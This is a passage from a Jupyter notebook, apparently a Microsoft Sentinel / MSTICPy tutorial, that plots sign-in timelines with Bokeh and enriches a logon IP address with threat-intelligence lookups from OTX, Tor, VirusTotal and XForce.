       "  var docs_json = {\"6f3836db-5546-44a3-9768-87d0f2989be6\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1799\"},{\"id\":\"1831\"}]},\"id\":\"2188\",\"type\":\"Column\"},{\"attributes\":{\"fill_color\":{\"value\":\"#460B5E\"},\"line_color\":{\"value\":\"#460B5E\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1856\",\"type\":\"Circle\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1823\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"1768\"}},\"id\":\"1854\",\"type\":\"CDSView\"},{\"attributes\":{\"data\":{\"AppDisplayName\":[\"Azure DevOps\",\"Azure DevOps\",\"Azure DevOps\",\"Azure DevOps\",\"Azure DevOps\",\"Azure DevOps\",\"Azure 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       "  var render_items = [{\"docid\":\"6f3836db-5546-44a3-9768-87d0f2989be6\",\"root_ids\":[\"2188\"],\"roots\":{\"2188\":\"8ebc79a2-dc23-4377-8114-987db41b61f1\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
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       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        clearInterval(timer);\n",
       "        embed_document(root);\n",
       "      } else {\n",
       "        attempts++;\n",
       "        if (attempts > 100) {\n",
       "          clearInterval(timer);\n",
       "          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        }\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
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     },
     "output_type": "display_data"
    },
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       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'2188', <span id=\"2760\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='1799', ...), Figure(id='1831', ...)],</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"2759\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
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      "text/plain": [
       "Column(id='2188', ...)"
      ]
     },
     "execution_count": 25,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "logons_df.mp_timeline.plot(\r\n",
    "    group_by=\"AppDisplayName\",\r\n",
    "    source_columns=disp_cols\r\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2761\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"2761\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) {\n",
       "        if (callback != null)\n",
       "          callback();\n",
       "      });\n",
       "    } finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.debug(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(css_urls, js_urls, callback) {\n",
       "    if (css_urls == null) css_urls = [];\n",
       "    if (js_urls == null) js_urls = [];\n",
       "\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = css_urls.length + js_urls.length;\n",
       "\n",
       "    function on_load() {\n",
       "      root._bokeh_is_loading--;\n",
       "      if (root._bokeh_is_loading === 0) {\n",
       "        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n",
       "        run_callbacks()\n",
       "      }\n",
       "    }\n",
       "\n",
       "    function on_error(url) {\n",
       "      console.error(\"failed to load \" + url);\n",
       "    }\n",
       "\n",
       "    for (let i = 0; i < css_urls.length; i++) {\n",
       "      const url = css_urls[i];\n",
       "      const element = document.createElement(\"link\");\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.rel = \"stylesheet\";\n",
       "      element.type = \"text/css\";\n",
       "      element.href = url;\n",
       "      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
       "      document.body.appendChild(element);\n",
       "    }\n",
       "\n",
       "    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\": \"XypntL49z55iwGVUW4qsEu83zKL3XEcz0MjuGOQ9SlaaQ68X/g+k1FcioZi7oQAc\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\": \"bEsM86IHGDTLCS0Zod8a8WM6Y4+lafAL/eSiyQcuPzinmWNgNO2/olUF0Z2Dkn5i\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\": \"TX0gSQTdXTTeScqxj6PVQxTiRW8DOoGVwinyi1D3kxv7wuxQ02XkOxv0xwiypcAH\"};\n",
       "\n",
       "    for (let i = 0; i < js_urls.length; i++) {\n",
       "      const url = js_urls[i];\n",
       "      const element = document.createElement('script');\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.async = false;\n",
       "      element.src = url;\n",
       "      if (url in hashes) {\n",
       "        element.crossOrigin = \"anonymous\";\n",
       "        element.integrity = \"sha384-\" + hashes[url];\n",
       "      }\n",
       "      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.head.appendChild(element);\n",
       "    }\n",
       "  };\n",
       "\n",
       "  function inject_raw_css(css) {\n",
       "    const element = document.createElement(\"style\");\n",
       "    element.appendChild(document.createTextNode(css));\n",
       "    document.body.appendChild(element);\n",
       "  }\n",
       "\n",
       "  \n",
       "  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\"];\n",
       "  var css_urls = [];\n",
       "  \n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    function(Bokeh) {\n",
       "    \n",
       "    \n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if (root.Bokeh !== undefined || force === true) {\n",
       "      \n",
       "    for (var i = 0; i < inline_js.length; i++) {\n",
       "      inline_js[i].call(root, root.Bokeh);\n",
       "    }\n",
       "    if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"2761\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(css_urls, js_urls, function() {\n",
       "      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": ""
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     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"a5829608-1101-4553-84b6-e58440e7a3b9\" data-root-id=\"4406\"></div>\n"
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     "metadata": {},
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     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
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       "  var render_items = [{\"docid\":\"ea19e524-4e6e-4a37-9639-2cccb7f8dd0c\",\"root_ids\":[\"4406\"],\"roots\":{\"4406\":\"a5829608-1101-4553-84b6-e58440e7a3b9\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        clearInterval(timer);\n",
       "        embed_document(root);\n",
       "      } else {\n",
       "        attempts++;\n",
       "        if (attempts > 100) {\n",
       "          clearInterval(timer);\n",
       "          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        }\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "4406"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "if hasattr(logons_df.mp_timeline, \"plot_duration\"):\r\n",
    "    logons_df.mp_timeline.plot_duration(\r\n",
    "        group_by=\"IPAddress\",\r\n",
    "    )\r\n",
    "else:\r\n",
    "    logons_df.mp_timeline.plot(\r\n",
    "        group_by=\"IPAddress\",\r\n",
    "        source_columns=[\"AppDisplayName\"],\r\n",
    "    )"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Learn more:\r\n",
    "\r\n",
    " - The [Infosec Jupyterbook](https://infosecjupyterbook.com/) includes a section on data visualization.\r\n",
    " - [Bokeh Library Documentation](https://bokeh.org/)\r\n",
    " - [Matplotlib tutorial](https://matplotlib.org/3.2.0/tutorials/index.html)\r\n",
    " - [Seaborn visualization library tutorial](https://seaborn.pydata.org/tutorial.html)\r\n",
    " - [MSTICPy Event timeline](https://msticpy.readthedocs.io/en/latest/visualization/EventTimeline.html)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Enriching data\r\n",
    "\r\n",
    "Now that we have seen how to query for data, and do some basic manipulation we\r\n",
    "can look at enriching this data with additional data sources.\r\n",
    "\r\n",
    "For this we are going to use an external threat intelligence provider to give\r\n",
    "us some more details about an IP address in our dataset using the\r\n",
    "[MSTICPy TIProvider](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\")\r\n",
    "feature.\r\n",
    "\r\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Note:</b>\r\n",
    "By default the TI Provider queries all configured TI sources.<br>\r\n",
    "To learn more about adding TI sources, see the TI Provider setup\r\n",
    "in the <i>A Getting Started Guide For Azure Sentinel ML Notebooks</i> notebook\r\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<p style=''>IP Address to lookup is 40.76.220.11</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Ioc</th>\n",
       "      <th>IocType</th>\n",
       "      <th>QuerySubtype</th>\n",
       "      <th>Provider</th>\n",
       "      <th>Result</th>\n",
       "      <th>Severity</th>\n",
       "      <th>Details</th>\n",
       "      <th>RawResult</th>\n",
       "      <th>Reference</th>\n",
       "      <th>Status</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>OTX</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>None</td>\n",
       "      <td>OTX</td>\n",
       "      <td>True</td>\n",
       "      <td>information</td>\n",
       "      <td>{'pulse_count': 0, 'sections_available': ['general', 'geo', 'reputation', 'url_list', 'passive_d...</td>\n",
       "      <td>{'whois': 'http://whois.domaintools.com/40.76.220.11', 'reputation': 0, 'indicator': '40.76.220....</td>\n",
       "      <td>https://otx.alienvault.com/api/v1/indicators/IPv4/40.76.220.11/general</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OPR</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>None</td>\n",
       "      <td>OPR</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>IoC type ipv4 not supported.</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Tor</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>None</td>\n",
       "      <td>Tor</td>\n",
       "      <td>True</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>None</td>\n",
       "      <td>https://check.torproject.org/exit-addresses</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VirusTotal</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>None</td>\n",
       "      <td>VirusTotal</td>\n",
       "      <td>True</td>\n",
       "      <td>information</td>\n",
       "      <td>{'verbose_msg': 'Missing IP address', 'response_code': 0, 'positives': 0}</td>\n",
       "      <td>{'response_code': 0, 'verbose_msg': 'Missing IP address'}</td>\n",
       "      <td>https://www.virustotal.com/vtapi/v2/ip-address/report</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>XForce</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>None</td>\n",
       "      <td>XForce</td>\n",
       "      <td>True</td>\n",
       "      <td>information</td>\n",
       "      <td>{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...</td>\n",
       "      <td>{'ip': '40.76.220.11', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional I...</td>\n",
       "      <td>https://api.xforce.ibmcloud.com/ipr/40.76.220.11</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                     Ioc IocType QuerySubtype    Provider Result     Severity  \\\n",
       "OTX         40.76.220.11    ipv4         None         OTX   True  information   \n",
       "OPR         40.76.220.11    ipv4         None         OPR  False  information   \n",
       "Tor         40.76.220.11    ipv4         None         Tor   True  information   \n",
       "VirusTotal  40.76.220.11    ipv4         None  VirusTotal   True  information   \n",
       "XForce      40.76.220.11    ipv4         None      XForce   True  information   \n",
       "\n",
       "                                                                                                        Details  \\\n",
       "OTX         {'pulse_count': 0, 'sections_available': ['general', 'geo', 'reputation', 'url_list', 'passive_d...   \n",
       "OPR                                                                                IoC type ipv4 not supported.   \n",
       "Tor                                                                                                  Not found.   \n",
       "VirusTotal                            {'verbose_msg': 'Missing IP address', 'response_code': 0, 'positives': 0}   \n",
       "XForce      {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...   \n",
       "\n",
       "                                                                                                      RawResult  \\\n",
       "OTX         {'whois': 'http://whois.domaintools.com/40.76.220.11', 'reputation': 0, 'indicator': '40.76.220....   \n",
       "OPR                                                                                                        None   \n",
       "Tor                                                                                                        None   \n",
       "VirusTotal                                            {'response_code': 0, 'verbose_msg': 'Missing IP address'}   \n",
       "XForce      {'ip': '40.76.220.11', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional I...   \n",
       "\n",
       "                                                                         Reference  \\\n",
       "OTX         https://otx.alienvault.com/api/v1/indicators/IPv4/40.76.220.11/general   \n",
       "OPR                                                                           None   \n",
       "Tor                                    https://check.torproject.org/exit-addresses   \n",
       "VirusTotal                   https://www.virustotal.com/vtapi/v2/ip-address/report   \n",
       "XForce                            https://api.xforce.ibmcloud.com/ipr/40.76.220.11   \n",
       "\n",
       "           Status  \n",
       "OTX             0  \n",
       "OPR             1  \n",
       "Tor             0  \n",
       "VirusTotal      0  \n",
       "XForce          0  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Create our TI provider\r\n",
    "ti = TILookup()\r\n",
    "\r\n",
    "# Get the first logon IP address from our dataset\r\n",
    "ip = logons_df.iloc[1]['IPAddress']\r\n",
    "md(f\"IP Address to lookup is {ip}\")\r\n",
    "\r\n",
    "# Look up the IP in VirusTotal\r\n",
    "ti_resp = ti.lookup_ioc(ip)\r\n",
    "\r\n",
    "# Format our results as a DataFrame\r\n",
    "ti_resp = ti.result_to_df(ti_resp)\r\n",
    "display(ti_resp)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [
    {
     "data": {
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    {
     "data": {
      "text/html": [
       "<h2 style='border: 1px solid;background-color: DarkGray; padding: 6px'>40.76.220.11</h2><h3 style='background-color: SteelBlue; padding: 6px'>Type: 'ipv4', Provider: OTX, severity: information</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
